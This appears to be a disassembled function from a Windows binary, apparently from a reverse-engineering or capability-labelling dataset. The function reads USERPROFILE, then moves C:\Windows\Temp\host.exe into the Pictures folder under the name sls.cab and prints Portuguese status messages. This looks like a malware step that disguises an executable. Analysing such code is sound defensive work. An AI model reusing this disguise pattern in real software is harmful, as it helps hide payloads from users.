Function at 0x401550
Capabilities:
Move file
Query environment variable

Disassembly:
push rbp
push rbx
sub rsp, 0xc8
lea rbp, [rsp + 0x80]
lea rcx, str.USERPROFILE
call sym.getenv
mov qword [rbp + 0x38], rax
cmp qword [rbp + 0x38], 0
je 0x401741
lea rax, [rbp - 0x11]
mov rcx, rax
call fcn.00402bf0
lea rcx, [rbp - 0x11]
mov rdx, qword [rbp + 0x38]
lea rax, [rbp - 0x40]
mov r8, rcx
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp - 0x60]
lea rdx, [rbp - 0x40]
lea r8, str.Pictures_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x11]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x37]
mov rcx, rax
call fcn.00402bf0
lea rdx, [rbp + 0x37]
lea rax, [rbp + 0x10]
mov r8, rdx
lea rdx, str.sls.cab
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp - 0x10]
lea rcx, [rbp + 0x10]
lea rdx, [rbp - 0x60]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11:
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rdx, rax
lea rcx, str.C:WindowsTemphost.exe
mov rax, qword [sym.imp.KERNEL32.dll_MoveFileA]
call rax
test eax, eax
setne bl
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x37]
mov rcx, rax
call sym.std::allocator_char_::allocator__
test bl, bl
je 0x40168a
lea rdx, str.Arquivo_movido_para
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp - 0x60]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rdx, qword [0x00406930]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
jmp 0x4016bb
lea rdx, str.Erro_ao_mover_o_arquivo_para
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp - 0x60]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rdx, qword [0x00406930]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x401741
nop
add rsp, 0xc8
pop rbx
pop rbp
ret